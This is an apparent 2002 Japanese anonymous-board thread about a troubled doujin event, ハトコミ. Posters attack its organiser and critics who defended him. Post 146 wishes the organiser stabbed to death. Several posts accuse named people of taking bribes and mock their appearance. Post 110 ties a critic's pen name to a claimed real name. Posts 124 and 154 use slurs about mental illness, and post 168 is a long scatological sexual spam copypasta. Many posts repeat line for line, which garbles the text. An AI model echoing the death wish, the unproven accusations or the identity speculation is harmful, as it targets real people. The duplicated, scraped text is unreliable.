株的に言えば、岩田株急落かと見られたが堅調、三崎株続伸かと思われたがストップ安。
100 ：名無しさん＠どーでもいいことだが。：02/11/13 22:04 ID:4BLZMBE3
さなづら登場
101 ：名無しさん＠どーでもいいことだが。：02/11/13 22:26 ID:4ui5R/9N
氏が抜けてたな
さなづら氏、BBSに書き込み
しかし、いつもより歯切れが悪い
さなづら氏、BBSに書き込み
しかし、いつもより歯切れが悪い
102 ：名無しさん＠どーでもいいことだが。：02/11/13 22:31 ID:7vQxtxrL
☆ ﾁﾝ ﾏﾁｸﾀﾋﾞﾚﾀ～
ﾏﾁｸﾀﾋﾞﾚﾀ～
☆ ﾁﾝ 〃 ∧＿∧ ／￣￣￣￣￣￣￣￣￣￣￣￣￣
ヽ ＿＿_＼（＼・∀・） ＜ さなづらちゃん、ぶち切れまだ～？
＼＿／⊂ ⊂＿ ) ＼＿＿＿＿＿＿＿＿＿＿＿＿＿
／￣￣￣￣￣￣ ／|
|￣￣￣￣￣￣￣| |
| ＧＰＭ！！ |／
ﾏﾁｸﾀﾋﾞﾚﾀ～
☆ ﾁﾝ 〃 ∧＿∧ ／￣￣￣￣￣￣￣￣￣￣￣￣￣
ヽ ＿＿_＼（＼・∀・） ＜ さなづらちゃん、ぶち切れまだ～？
＼＿／⊂ ⊂＿ ) ＼＿＿＿＿＿＿＿＿＿＿＿＿＿
／￣￣￣￣￣￣ ／|
|￣￣￣￣￣￣￣| |
| ＧＰＭ！！ |／
103 ：名無しさん＠どーでもいいことだが。：02/11/13 23:02 ID:iaTzmlMK
>101
歯切れが悪いどころか、三崎と同意見なんでしょ
ハトコミがああなったのは仕方なかった
主催は愛すべき人なので責めないでくれ、と
しかしサトミやさなづらをここまでヘタレにさせてしまう
是空とおるとはいったいいかなる人物なんだろう……
歯切れが悪いどころか、三崎と同意見なんでしょ
ハトコミがああなったのは仕方なかった
主催は愛すべき人なので責めないでくれ、と
しかしサトミやさなづらをここまでヘタレにさせてしまう
是空とおるとはいったいいかなる人物なんだろう……
104 ：名無しさん＠どーでもいいことだが。：02/11/13 23:10 ID:4BLZMBE3
Ｚがコワイんじゃなくて、そのバックがコワイんじゃない？（ｗ
105 ：名無しさん＠どーでもいいことだが。：02/11/13 23:19 ID:iaTzmlMK
>104
横田守の方って事？
どちらにしろ病んでる事には変わりはないな
コミケ準備会が聖人君子だなんて思ってないが
ここまであからさまだと笑えるね
横田守の方って事？
どちらにしろ病んでる事には変わりはないな
コミケ準備会が聖人君子だなんて思ってないが
ここまであからさまだと笑えるね
106 ：名無しさん＠どーでもいいことだが。：02/11/13 23:21 ID:s0/7PBjP
正直さなづらみたいな落ち目作家どうでもいい
107 ：名無しさん＠どーでもいいことだが。：02/11/13 23:35 ID:h3DN1JzA
ﾀﾞ ｰ ｰ ｰ ｰ ｰ ｰ ｰ ｰ ｰ ｰ ｰ ｰ ｰ ! ! ! ! ! ! ! ! ! ! !
あーｽｯｷﾘ
ｻﾅﾂﾞﾗ最近不振でB級陥落
あーｽｯｷﾘ
ｻﾅﾂﾞﾗ最近不振でB級陥落
108 ：名無しさん＠どーでもいいことだが。：02/11/14 00:16 ID:srEcv6ec
どうせならショップも是空買取不可とかやってほしい。M村VSうGの時みたいに･･･解る人いるかな？
109 ：名無しさん＠どーでもいいことだが。：02/11/14 00:27 ID:/wUzxE5A
どうして誰もが主催者を隠したがるんだろうな。弱みを握られてるのか、素敵な物を握らされているのか。
なんか、警察や議員がトップの人間の悪事を隠蔽工作するのとソックリだ。
今、「ストレートニュース」っていうドラマが再放送してるんだが、そういうのを暴くのってやっぱり報道(＝情報サイト)しかないのかな。
なんか、警察や議員がトップの人間の悪事を隠蔽工作するのとソックリだ。
今、「ストレートニュース」っていうドラマが再放送してるんだが、そういうのを暴くのってやっぱり報道(＝情報サイト)しかないのかな。
110 ：名無しさん＠どーでもいいことだが。：02/11/14 03:32 ID:XkgfI7xA
985 ：名無しさん＠どーでもいいことだが。 ：02/11/12 01:53 ID:CqiLK+0T
なんか勘違い野郎いるが
三崎氏はイワエモンでもサトミンでも無いのでそのへん注意。
3人の中ではいちばんダンディで見てくれかっこいいオヤジが三崎氏。
ひょろひょろのジジイがイワエモンでツリ目の眼鏡デブがサトミンな。
997 ：名無しさん＠どーでもいいことだが。 ：02/11/12 02:43 ID:qhWLX1JN
>>985
>三崎氏はイワエモンでもサトミンでも無いのでそのへん注意。
三崎尚人≠岩田次夫なのは誰でもわかること。
で、三崎尚人（みさきなおと）というペンネームは、
サトミちゃんの本名＝里見直紀（さとみなおき）のアナグラムではないの？
と聞いてみるテスト・・・
なんか勘違い野郎いるが
三崎氏はイワエモンでもサトミンでも無いのでそのへん注意。
3人の中ではいちばんダンディで見てくれかっこいいオヤジが三崎氏。
ひょろひょろのジジイがイワエモンでツリ目の眼鏡デブがサトミンな。
997 ：名無しさん＠どーでもいいことだが。 ：02/11/12 02:43 ID:qhWLX1JN
>>985
>三崎氏はイワエモンでもサトミンでも無いのでそのへん注意。
三崎尚人≠岩田次夫なのは誰でもわかること。
で、三崎尚人（みさきなおと）というペンネームは、
サトミちゃんの本名＝里見直紀（さとみなおき）のアナグラムではないの？
と聞いてみるテスト・・・
111 ：名無しさん＠どーでもいいことだが：02/11/14 05:10 ID:3Xw3CsD5
ぐぐったらこんな香具師がいた。
http://hebereke-web.hp.infoseek.co.jp/hatokomi.htm
http://hebereke-web.hp.infoseek.co.jp/hatokomi.htm
112 ：名無しさん＠どーでもいいことだが：02/11/14 07:31 ID:MXm/0AfG
>111 読んだよ
なんかさー
エライ人とか伝説の人とかとお話できたのがそんなに嬉しいのか？
そんな記述ばっかり。
そんな奴がいろいろほざいても説得力なし
なんかさー
エライ人とか伝説の人とかとお話できたのがそんなに嬉しいのか？
そんな記述ばっかり。
そんな奴がいろいろほざいても説得力なし
113 ：名無しさん＠どーでもいいことだが。：02/11/14 07:33 ID:Gqies1tF
主催者側がホントに反省してるんなら第二回目をやるべきだと思うが。
謝罪の言葉より、今回の反省点を踏まえつつ
素晴らしいイベントを開催するのが宜しいかと。
信頼の回復はムリだが、獲得はしないと
ホントにヤリ逃げイベントになるんだが・・・。
謝罪の言葉より、今回の反省点を踏まえつつ
素晴らしいイベントを開催するのが宜しいかと。
信頼の回復はムリだが、獲得はしないと
ホントにヤリ逃げイベントになるんだが・・・。
114 ：名無しさん＠どーでもいいことだが。：02/11/14 07:40 ID:wMRKrWeg
主催者は今頃、何を思っているんだろうなあ・・・
115 ：名無しさん＠どーでもいいことだが。：02/11/14 08:48 ID:fLPzu/gn
色紙まだー？届いた人いないの～？
116 ：名無しさん＠どーでもいいことだが。：02/11/14 10:42 ID:LSy9Sb7K
美少女怪盗クローバー、同人総研の三崎にいちゃもんをつけた！
（三崎はコミケのサークル対応部統括のサトミ。カタログ漫画で有名。）
もっとがんがれ！祭化キボンヌ。
http://kohaku3.tripod.co.jp/text/remisaki.html
美少女怪盗クローバーのつっこみ
http://www.st.rim.or.jp/~nmisaki/event/event.html
つっこまれた同人総研
（三崎はコミケのサークル対応部統括のサトミ。カタログ漫画で有名。）
もっとがんがれ！祭化キボンヌ。
http://kohaku3.tripod.co.jp/text/remisaki.html
美少女怪盗クローバーのつっこみ
http://www.st.rim.or.jp/~nmisaki/event/event.html
つっこまれた同人総研
117 ：名無しさん＠どーでもいいことだが。：02/11/14 10:50 ID:sQhH6eUJ
さなづらが降臨したBBSってどこ？
118 ：名無しさん＠どーでもいいことだが。：02/11/14 10:58 ID:oavTr91T
つっこみナイス。
119 ：名無しさん＠どーでもいいことだが。：02/11/14 11:01 ID:dMu8FW4X
突っ込むなら別の穴に突っ込んでやれよ！
120 ：名無しさん＠どーでもいいことだが。：02/11/14 12:15 ID:ukqsacow
まあ、同人女ｺﾏｽために大手の完売本をｻｸｰﾙに行って回してもらうような
ﾔｼだからな＞三崎
奴の功績ってこれ発見したぐらいだろ？（ｗ↓
http://www.st.rim.or.jp/~nmisaki/gossip/kato.html
ﾔｼだからな＞三崎
奴の功績ってこれ発見したぐらいだろ？（ｗ↓
http://www.st.rim.or.jp/~nmisaki/gossip/kato.html
121 ：名無しさん＠どーでもいいことだが。：02/11/14 13:50 ID:Bv0gMY8L
＞１０３
ＺＱＮはあかつき五目を吉崎みねに寝取られた男ｗ
ＺＱＮはあかつき五目を吉崎みねに寝取られた男ｗ
122 ：名無しさん＠どーでもいいことだが。：02/11/14 14:43 ID:tqhSoC2X
123 ：名無しさん＠どーでもいいことだが。：02/11/14 15:16 ID:QodhQpla
やっぱり色紙は口頭だけの物なのかな
昨日同じくハトコミ行った友達の家には、なぜか電話が鳴り響いてたらしい
その子の家って、普段家TELはかかってくる方が珍しいとされてて
かなり周期的にコールがあったみたい。
怖くて出れなかったみたいだが・・・
ちなみに静岡、当たってたら祝福してやらないと・・・。
昨日同じくハトコミ行った友達の家には、なぜか電話が鳴り響いてたらしい
その子の家って、普段家TELはかかってくる方が珍しいとされてて
かなり周期的にコールがあったみたい。
怖くて出れなかったみたいだが・・・
ちなみに静岡、当たってたら祝福してやらないと・・・。
124 ：名無しさん＠どーでもいいことだが。：02/11/14 15:22 ID:mKgZ+NW4
>>123
の友人は精神障害者
の友人は精神障害者
125 ：名無しさん＠どーでもいいことだが。：02/11/14 15:38 ID:qX/n+CPq
＞その子の家って、普段家TELはかかってくる方が珍しいとされてて
＞かなり周期的にコールがあったみたい。
＞怖くて出れなかったみたいだが・・・
( ゜д゜)ﾊｧ？
＞かなり周期的にコールがあったみたい。
＞怖くて出れなかったみたいだが・・・
( ゜д゜)ﾊｧ？
126 ：名無しさん＠どーでもいいことだが。：02/11/14 15:39 ID:wxj3H0Sp
留守電くらい買え（ｗ。
127 ：名無しさん＠どーでもいいことだが。：02/11/14 15:52 ID:FyLpgQZy
つーか、三崎も味方になってくれず、いわえもんにも「その他大勢」
扱いされた疥癬は今度は誰にすがるの？
お前らののこと考えてくれるような論客なんか居るのか？
扱いされた疥癬は今度は誰にすがるの？
お前らののこと考えてくれるような論客なんか居るのか？
128 ：名無しさん＠どーでもいいことだが。：02/11/14 17:03 ID:quZQLBqe
>>127
三崎やイワエモンが買い専の味方なわけねーじゃん（ｗ
転売屋のオトモダチだよ？
別にそいつらがやってるとは言わんが、古同人屋の
買出し部隊のチケはその世代のヤツらから出てんだし。
なんで、買い専がすがるなんてトンチンカンなこと思ったの？
三崎やイワエモンが買い専の味方なわけねーじゃん（ｗ
転売屋のオトモダチだよ？
別にそいつらがやってるとは言わんが、古同人屋の
買出し部隊のチケはその世代のヤツらから出てんだし。
なんで、買い専がすがるなんてトンチンカンなこと思ったの？
129 ：名無しさん＠どーでもいいことだが。：02/11/14 17:26 ID:2ix62bGY
130 ：とある宮村ファン：02/11/14 21:45 ID:RaQSAIvr
是空って何やったの？おしえてください。
131 ：名無しさん＠どーでもいいことだが。：02/11/14 21:57 ID:+yWRgi67
三崎つーのは同人作家になれなくて評論家になっただけじゃないの？
よくある話で。
こいつが何喋ろうが状況が別に変わる訳でもなし。
よくある話で。
こいつが何喋ろうが状況が別に変わる訳でもなし。
132 ：名無しさん＠どーでもいいことだが。：02/11/14 23:42 ID:z4R2NKMb
三崎の掲示板にクローバーのつっこみを貼り付けたアホﾊｹｰﾝ
133 ：名無しさん＠どーでもいいことだが。：02/11/14 23:59 ID:x6meVkCd
>127
味方になってくれずもなにも、三崎はハトコミでは「GUEST」シールつけて開場前に買い漁ってた一人
是空側の人間だよ
「（是空には）愛すべき所がないわけじゃないんだよ」とか見苦しい弁護しまくってるでしょ
味方になってくれずもなにも、三崎はハトコミでは「GUEST」シールつけて開場前に買い漁ってた一人
是空側の人間だよ
「（是空には）愛すべき所がないわけじゃないんだよ」とか見苦しい弁護しまくってるでしょ
134 ：名無しさん@どーでもよかんべ：02/11/15 00:25 ID:Dq0KiIft
何か見入りが少ないなどとのたまわっているが・・・
どう考えても少なくないだろ？
参加費５０００×３００（１００は招待） １５０万
広告費 20万
パンフ売上 ８００×２００００ １６００万
グッズ売上 ５０００×４０００ ２０００万
支出なんてこれの半分もいかないよ
ちゃん様や尼露にギャラ渡してもおつりがくるわ
しかも記念本って原稿料出てないし
サンシャインが高いっても文化会館1部屋なんてしれてる
http://www.sunshinecity.co.jp/convention/co_ryokin.html
ここみたら２００万ちょい
サークル分でちと足りないかもしれんが１００招待は大げさかもなどちらにしても、会場費のあらかたはサークル参加費で捻出できる
印刷代は１００００部超えたら基本料金なんかただ同然椅子机は椅子２００円 机５００円くらいか（レンタル費）
単価は２００円切ってるはず、トレカ＆ポスターつけても１００円UPするかしないか
広告宣伝費もほとんどかけていない（コミケで配ったくらいか？）チラシも２００００部刷ってないだろだったら２０万くらいだ
グッズの作成費も単価的には１０００円前後←多く見積もってね（実際はもっと安く出来てる）
スタッフ関係費用も５０万はいかないだろ？
ほんと経費かけないイベントでここまでやる主催者は天才的だね
これを擁護してる三●氏の弁はどうにも解せないまあ山吹色の菓子でももらったか？
どう考えても少なくないだろ？
参加費５０００×３００（１００は招待） １５０万
広告費 20万
パンフ売上 ８００×２００００ １６００万
グッズ売上 ５０００×４０００ ２０００万
支出なんてこれの半分もいかないよ
ちゃん様や尼露にギャラ渡してもおつりがくるわ
しかも記念本って原稿料出てないし
サンシャインが高いっても文化会館1部屋なんてしれてる
http://www.sunshinecity.co.jp/convention/co_ryokin.html
ここみたら２００万ちょい
サークル分でちと足りないかもしれんが１００招待は大げさかもなどちらにしても、会場費のあらかたはサークル参加費で捻出できる
印刷代は１００００部超えたら基本料金なんかただ同然椅子机は椅子２００円 机５００円くらいか（レンタル費）
単価は２００円切ってるはず、トレカ＆ポスターつけても１００円UPするかしないか
広告宣伝費もほとんどかけていない（コミケで配ったくらいか？）チラシも２００００部刷ってないだろだったら２０万くらいだ
グッズの作成費も単価的には１０００円前後←多く見積もってね（実際はもっと安く出来てる）
スタッフ関係費用も５０万はいかないだろ？
ほんと経費かけないイベントでここまでやる主催者は天才的だね
これを擁護してる三●氏の弁はどうにも解せないまあ山吹色の菓子でももらったか？
135 ：名無しさん＠どーでもいいことだが。：02/11/15 03:56 ID:hw8If73G
しかし、協賛サークルの人間や三崎みたいな類の人間が必死に弁護
してくれているという現状で、未だ何もコメントださない是空とおるという
のは、いったい何様なんだろうかな。
してくれているという現状で、未だ何もコメントださない是空とおるという
のは、いったい何様なんだろうかな。
136 ：名無しさん＠どーでもいいことだが。：02/11/15 05:02 ID:C5qAsLQl
いや、コメントを出す必要すらないっつーか。
137 ：名無しさん＠どーでもいいことだが。：02/11/15 07:01 ID:eCXXb/jW
掲示板のこぴぺ、無断転載を理由に消されました。
でも三崎は何かコメントはする模様。
でも三崎は何かコメントはする模様。
138 ：名無しさん＠どーでもいいことだが。：02/11/15 08:59 ID:NC8vrBgB
いや、黒幕から
今は何も言うな。時が経てば笑い話になる。
とでも言われてるんだろう。
今は何も言うな。時が経てば笑い話になる。
とでも言われてるんだろう。
139 ：名無しさん＠どーでもいいことだが。：02/11/15 09:34 ID:OVXvqfnV
>>131
スレ違いであれだが、絵のかけない人間は二級市民な考えの方ですか？
私はあなたと同じで今回の対応はいかがなものかと思う方だが、
その表現はいささかあれだな。
>>138
それがいちばんありそう。
スレ違いであれだが、絵のかけない人間は二級市民な考えの方ですか？
私はあなたと同じで今回の対応はいかがなものかと思う方だが、
その表現はいささかあれだな。
>>138
それがいちばんありそう。
140 ：名無しさん＠どーでもいいことだが。：02/11/15 10:05 ID:N8fklJVS
>>134
雑費は？
雑費は？
141 ：名無しさん＠どーでもいいことだが。：02/11/15 10:05 ID:0FAVVkcH
テレカ２枚入りで単価１０００円切るのはいくらちゃん様の値切りでも不可能（Ｗ
142 ：名無しさん＠どーでもいいことだが：02/11/15 10:13 ID:bLxGodEt
ｱﾌｫか？
机、イス、清掃費、宅配業者等色々あるだろｗ
バスターミナルも借りてるし。
机、イス、清掃費、宅配業者等色々あるだろｗ
バスターミナルも借りてるし。
143 ：名無しさん＠どーでもいいことだが。：02/11/15 12:05 ID:N8fklJVS
印刷料金表
ttp://www.kyoshin.net/fee/a4_all.html
1000冊以上の値段が載ってないから正確な料金は出せないけど
100冊の料金×100の6割引ぐらいで計算すればいいんじゃないかな。
ttp://www.kyoshin.net/fee/a4_all.html
1000冊以上の値段が載ってないから正確な料金は出せないけど
100冊の料金×100の6割引ぐらいで計算すればいいんじゃないかな。
144 ：名無しさん＠どーでもいいことだが。：02/11/15 12:13 ID:N8fklJVS
すまない、もっと割引率高かった。7割引き強ぐらいかな。
それだと原価は1冊辺り300円ぐらいかな。
それと行かなかったからカタログ代知らないんだけど
800円ってのは書店売りの値段だったのか？
それだと書店のマージンが100～200円入ってるから
売り上げは600～700円×10000冊になるね。
それだと原価は1冊辺り300円ぐらいかな。
それと行かなかったからカタログ代知らないんだけど
800円ってのは書店売りの値段だったのか？
それだと書店のマージンが100～200円入ってるから
売り上げは600～700円×10000冊になるね。
145 ：名無しさん＠どーでもいいことだが。：02/11/15 12:43 ID:rAIDeF3r
>>144
たぶん、書店のマージンは普通の3割じゃないだろ。
たぶん、書店のマージンは普通の3割じゃないだろ。
是空なんか刺されて氏ねば良いんだよ。
メディアワークスもな。
つーか、是空の言いなりになってるサークルって
アホか。
メディアワークスもな。
つーか、是空の言いなりになってるサークルって
アホか。
147 ：名無しさん＠どーでもいいことだが。：02/11/15 16:38 ID:C5qAsLQl
>>146
何かあったのか？
何かあったのか？
148 ：名無しさん＠どーでもいいことだが。：02/11/15 16:45 ID:VXemjZzU
てゆか、ゼ空が儲からないことするわけないじゃん
同人で金のあるところにゼ空ありなんだから。
わかりきってることなのに庇うのがむかつく
同人で金のあるところにゼ空ありなんだから。
わかりきってることなのに庇うのがむかつく
149 ：名無しさん＠どーでもいいことだが。：02/11/15 17:37 ID:DCj8wm7Y
>146
別にハトコミにワークスは絡んでないだろ。
むしろエンブレでは？
むしろ、締め切り間際の連載作家を複数「協賛サークル」として
引っ張り出されたので、いい迷惑だったらしいがな。
別にハトコミにワークスは絡んでないだろ。
むしろエンブレでは？
むしろ、締め切り間際の連載作家を複数「協賛サークル」として
引っ張り出されたので、いい迷惑だったらしいがな。
150 ：名無しさん＠どーでもいいことだが。：02/11/15 19:20 ID:IyVpeTfw
三○タンもゲストパス一枚で自分の批評の立場を
売り飛ばしたってワケか（ｗ。随分とお安いもんだ。
売り飛ばしたってワケか（ｗ。随分とお安いもんだ。
こーゆー場合貰うもんだけ貰っておいて、
サイトでは掌を返して叩けばいいのにな。
そんでリアルで会うときに笑顔で謝っておく。
サイトでは掌を返して叩けばいいのにな。
そんでリアルで会うときに笑顔で謝っておく。
152 ：名無しさん＠どーでもいいことだが。：02/11/15 19:39 ID:13kEmvfc
つか、ほんとに採算ギリギリらしいよ？
Ｙ田への借金返済も計算に入ってるから。
Ｙ田への借金返済も計算に入ってるから。
153 ：名無しさん＠どーでもいいことだが。：02/11/15 19:45 ID:8LoyQVAh
それは採算がギリギリなんじゃなくてZQNの懐がギリギリなだけだろ
154 ：名無しさん@どーでもよかんべ：02/11/15 19:48 ID:Dq0KiIft
134です～
なんかｱﾌｫ扱いされてますけど
収入だけで計算してみました。これで同等の支出とか言ってる
ヤシがいたらそれはｱﾌｫ通り越してガイキチ君です
あと本屋の委託料は買取で一定部数はけるのわかってるで８掛けです
１０００円売価だと聞いたので、８００円です
ゴミ費用＆清掃費は２０万以下です（きっぱり）
バスターミナルは会場付随なのでいくらになるかは知りませんが
５０万もいかないでしょ？
普通会場借りても待機場まで金取るイベント会場なんて聞いたことも無い
宅配業者にかねかかるなんていってるのはドシロウト
宅配便でかかる金はせいぜい会場で売ったグッズの搬入代くらいかな？
それも印刷屋からの搬入ならタダです。
これで儲かってないっていう奴は信者か本人かな
なんかｱﾌｫ扱いされてますけど
収入だけで計算してみました。これで同等の支出とか言ってる
ヤシがいたらそれはｱﾌｫ通り越してガイキチ君です
あと本屋の委託料は買取で一定部数はけるのわかってるで８掛けです
１０００円売価だと聞いたので、８００円です
ゴミ費用＆清掃費は２０万以下です（きっぱり）
バスターミナルは会場付随なのでいくらになるかは知りませんが
５０万もいかないでしょ？
普通会場借りても待機場まで金取るイベント会場なんて聞いたことも無い
宅配業者にかねかかるなんていってるのはドシロウト
宅配便でかかる金はせいぜい会場で売ったグッズの搬入代くらいかな？
それも印刷屋からの搬入ならタダです。
これで儲かってないっていう奴は信者か本人かな
155 ：名無しさん＠どーでもいいことだが。：02/11/15 20:46 ID:Zp5cuIin
>151
この世界によくありがちな世渡りの処世術ですな。
表面上は繕うという。
この世界によくありがちな世渡りの処世術ですな。
表面上は繕うという。
156 ：名無しさん＠どーでもいいことだが。：02/11/15 22:52 ID:6hZMn1ac
157 ：名無しさん＠どーでもいいことだが。：02/11/15 23:03 ID:ZapA7HBP
>>156
何処？もちょっと詳しく
何処？もちょっと詳しく
158 ：名無しさん＠どーでもいいことだが。：02/11/15 23:07 ID:ZapA7HBP
すまそ
管理人の独り言か
管理人の独り言か
159 ：名無しさん＠どーでもいいことだが。：02/11/15 23:07 ID:j5I46W9i
URLからしてみやむーのHPか？でもZQNってもうマネやめてるんだろ？
160 ：名無しさん＠どーでもいいことだが。：02/11/15 23:09 ID:1ChRrQ4L
金ヅルにならなきゃ、あっさり見捨てるってことか（ｗ。
やっぱＺ空は守銭奴。
やっぱＺ空は守銭奴。
161 ：名無しさん@どーでもよかんべ：02/11/15 23:23 ID:Dq0KiIft
自分の冬コミあるからなにもしてねーって・・・・・・・・・
先に済ますことあるだろ？
で，逆切れか・・・おこちゃまもたいがいだな
彼の愛すべきところってどこよ？
先に済ますことあるだろ？
で，逆切れか・・・おこちゃまもたいがいだな
彼の愛すべきところってどこよ？
162 ：名無しさん＠どーでもいいことだが。：02/11/15 23:58 ID:HlAuy/Dd
>>161
ZQNなところ
ZQNなところ
163 ：名無しさん＠どーでもいいことだが：02/11/16 00:51 ID:P509TMqZ
>ゴミ費用＆清掃費は２０万以下です（きっぱり）
ﾌﾟｯ 祝日にサンシャインに清掃業者入れて見ろｗ
ﾌﾟｯ 祝日にサンシャインに清掃業者入れて見ろｗ
164 ：名無しさん＠どーでもいいことだが。：02/11/16 00:57 ID:5acdBzSp
>134,>154
サークル数は450に増やしたんじゃなかったっけ
あと企業スペースの参加費って取ってないのかな？
コミケが企業スペースを採算のためにと理由付けしてるくらいだから
結構な収入源なのでは
カタログはトレカ付きが1000円
当日販売予定だったトレカ無しが700円
印刷数の内訳はどれくらいだろう
全部で11000部というのを信用するとして、9000+2000ってとこか？
14000部という話もあったけど
サークル数は450に増やしたんじゃなかったっけ
あと企業スペースの参加費って取ってないのかな？
コミケが企業スペースを採算のためにと理由付けしてるくらいだから
結構な収入源なのでは
カタログはトレカ付きが1000円
当日販売予定だったトレカ無しが700円
印刷数の内訳はどれくらいだろう
全部で11000部というのを信用するとして、9000+2000ってとこか？
14000部という話もあったけど
165 ：名無しさん＠どーでもいいことだが。：02/11/16 01:44 ID:hEi3TdnX
http://page3.auctions.yahoo.co.jp/jp/auction/c26318131
http://page.auctions.yahoo.co.jp/jp/auction/51017281
http://page2.auctions.yahoo.co.jp/jp/auction/b28312577
http://page4.auctions.yahoo.co.jp/jp/auction/d23525577
冬コミケチケットオークションに出してる輩
３日相場２万円～３万円の模様・・・。うつだ。
http://page.auctions.yahoo.co.jp/jp/auction/51017281
http://page2.auctions.yahoo.co.jp/jp/auction/b28312577
http://page4.auctions.yahoo.co.jp/jp/auction/d23525577
冬コミケチケットオークションに出してる輩
３日相場２万円～３万円の模様・・・。うつだ。
166 ：名無しさん＠どーでもいいことだが。：02/11/16 04:53 ID:PuTlDNjG
167 ：名無しさん＠どーでもいいことだが。：02/11/16 05:04 ID:PuTlDNjG
>>165
まあ、大手の本を手に入れたいなら、チケットを入手するなり
徹夜で並ぶなりの努力をすべき。それもしないで「買えない」
「入場できない」などの文句は言うなという実例をハトコミが示
してくれたわけだから、仕方ないことやね。
まあ、大手の本を手に入れたいなら、チケットを入手するなり
徹夜で並ぶなりの努力をすべき。それもしないで「買えない」
「入場できない」などの文句は言うなという実例をハトコミが示
してくれたわけだから、仕方ないことやね。
168 ：名無しさん＠どーでもいいことだが。：02/11/16 05:05 ID:ywsMqKzd
ああっ、もうダメッ！
ぁあ…ウンチ出るっ、ウンチ出ますうっ！！
ビッ、ブリュッ、ブリュブリュブリュゥゥゥーーーーーッッッ！！！
いやああああっっっ！！見ないで、お願いぃぃぃっっっ！！！
ブジュッ！ジャアアアアーーーーーーッッッ…ブシャッ！
ブババババババアアアアアアッッッッ！！！！
んはああーーーーっっっ！！！ウッ、ウンッ、ウンコォォォッッ！！！
ムリムリイッッ！！ブチュブチュッッ、ミチミチミチィィッッ！！！
おおっ！ウンコッ！！ウッ、ウンッ、ウンコッッ！！！ウンコ見てぇっ ああっ、もうダメッ！！はうあああーーーーっっっ！！！
ブリイッ！ブボッ！ブリブリブリィィィィッッッッ！！！！
いやぁぁっ！あたし、こんなにいっぱいウンチ出してるゥゥッ！
ぶびびびびびびびぃぃぃぃぃぃぃっっっっ！！！！ボトボトボトォォッッ！！！
ぁあ…ウンチ出るっ、ウンチ出ますうっ！！
ビッ、ブリュッ、ブリュブリュブリュゥゥゥーーーーーッッッ！！！
いやああああっっっ！！見ないで、お願いぃぃぃっっっ！！！
ブジュッ！ジャアアアアーーーーーーッッッ…ブシャッ！
ブババババババアアアアアアッッッッ！！！！
んはああーーーーっっっ！！！ウッ、ウンッ、ウンコォォォッッ！！！
ムリムリイッッ！！ブチュブチュッッ、ミチミチミチィィッッ！！！
おおっ！ウンコッ！！ウッ、ウンッ、ウンコッッ！！！ウンコ見てぇっ ああっ、もうダメッ！！はうあああーーーーっっっ！！！
ブリイッ！ブボッ！ブリブリブリィィィィッッッッ！！！！
いやぁぁっ！あたし、こんなにいっぱいウンチ出してるゥゥッ！
ぶびびびびびびびぃぃぃぃぃぃぃっっっっ！！！！ボトボトボトォォッッ！！！
ぁあ…ウンチ出るっ、ウンチ出ますうっ！！
ビッ、ブリュッ、ブリュブリュブリュゥゥゥーーーーーッッッ！！！
いやああああっっっ！！見ないで、お願いぃぃぃっっっ！！！
ブジュッ！ジャアアアアーーーーーーッッッ…ブシャッ！
ブババババババアアアアアアッッッッ！！！！
んはああーーーーっっっ！！！ウッ、ウンッ、ウンコォォォッッ！
ぁあ…ウンチ出るっ、ウンチ出ますうっ！！
ビッ、ブリュッ、ブリュブリュブリュゥゥゥーーーーーッッッ！！！
いやああああっっっ！！見ないで、お願いぃぃぃっっっ！！！
ブジュッ！ジャアアアアーーーーーーッッッ…ブシャッ！
ブババババババアアアアアアッッッッ！！！！
んはああーーーーっっっ！！！ウッ、ウンッ、ウンコォォォッッ！！！
ムリムリイッッ！！ブチュブチュッッ、ミチミチミチィィッッ！！！
おおっ！ウンコッ！！ウッ、ウンッ、ウンコッッ！！！ウンコ見てぇっ ああっ、もうダメッ！！はうあああーーーーっっっ！！！
ブリイッ！ブボッ！ブリブリブリィィィィッッッッ！！！！
いやぁぁっ！あたし、こんなにいっぱいウンチ出してるゥゥッ！
ぶびびびびびびびぃぃぃぃぃぃぃっっっっ！！！！ボトボトボトォォッッ！！！
ぁあ…ウンチ出るっ、ウンチ出ますうっ！！
ビッ、ブリュッ、ブリュブリュブリュゥゥゥーーーーーッッッ！！！
いやああああっっっ！！見ないで、お願いぃぃぃっっっ！！！
ブジュッ！ジャアアアアーーーーーーッッッ…ブシャッ！
ブババババババアアアアアアッッッッ！！！！
んはああーーーーっっっ！！！ウッ、ウンッ、ウンコォォォッッ！！！
ムリムリイッッ！！ブチュブチュッッ、ミチミチミチィィッッ！！！
おおっ！ウンコッ！！ウッ、ウンッ、ウンコッッ！！！ウンコ見てぇっ ああっ、もうダメッ！！はうあああーーーーっっっ！！！
ブリイッ！ブボッ！ブリブリブリィィィィッッッッ！！！！
いやぁぁっ！あたし、こんなにいっぱいウンチ出してるゥゥッ！
ぶびびびびびびびぃぃぃぃぃぃぃっっっっ！！！！ボトボトボトォォッッ！！！
ぁあ…ウンチ出るっ、ウンチ出ますうっ！！
ビッ、ブリュッ、ブリュブリュブリュゥゥゥーーーーーッッッ！！！
いやああああっっっ！！見ないで、お願いぃぃぃっっっ！！！
ブジュッ！ジャアアアアーーーーーーッッッ…ブシャッ！
ブババババババアアアアアアッッッッ！！！！
んはああーーーーっっっ！！！ウッ、ウンッ、ウンコォォォッッ！
169 ：名無しさん＠どーでもいいことだが。：02/11/16 07:05 ID:mZr/eqnc
大方、宮村のトコの時計代金？もZQNが懐に収めちゃったんじゃないの？
今回の黒字で、それを穴埋めするつもりだったとか（ｗ
今回の黒字で、それを穴埋めするつもりだったとか（ｗ
170 ：名無しさん＠どーでもいいことだが。：02/11/16 07:57 ID:DqQlaKiP
是空、ぜったいハトコミの苦情と時計の苦情と
いっしょくたにして切れてるな（ｗ
同人関係では黙秘してるが、もう、いっぱいいっぱいなんだろう。
いっしょくたにして切れてるな（ｗ
同人関係では黙秘してるが、もう、いっぱいいっぱいなんだろう。
171 ：名無しさん＠どーでもいいことだが。：02/11/16 08:32 ID:XG6XUVCd
>>139
当然、絵も描けないような奴は2級市民どころではない。
当然、絵も描けないような奴は2級市民どころではない。
172 ：名無しさん＠どーでもいいことだが。：02/11/16 08:57 ID://w2kdu/
>170
しかも切れる方向間違ってるって（ｗ
ハトコミは正直見当違いの叩きもあるだろうが、
時計は弁解のしようがないじゃん。
時計は黙秘or謝罪、同人で切れるってんなら判るが。
しかも切れる方向間違ってるって（ｗ
ハトコミは正直見当違いの叩きもあるだろうが、
時計は弁解のしようがないじゃん。
時計は黙秘or謝罪、同人で切れるってんなら判るが。
173 ：名無しさん＠どーでもいいことだが。：02/11/16 09:58 ID:azUyOSB/
>>171
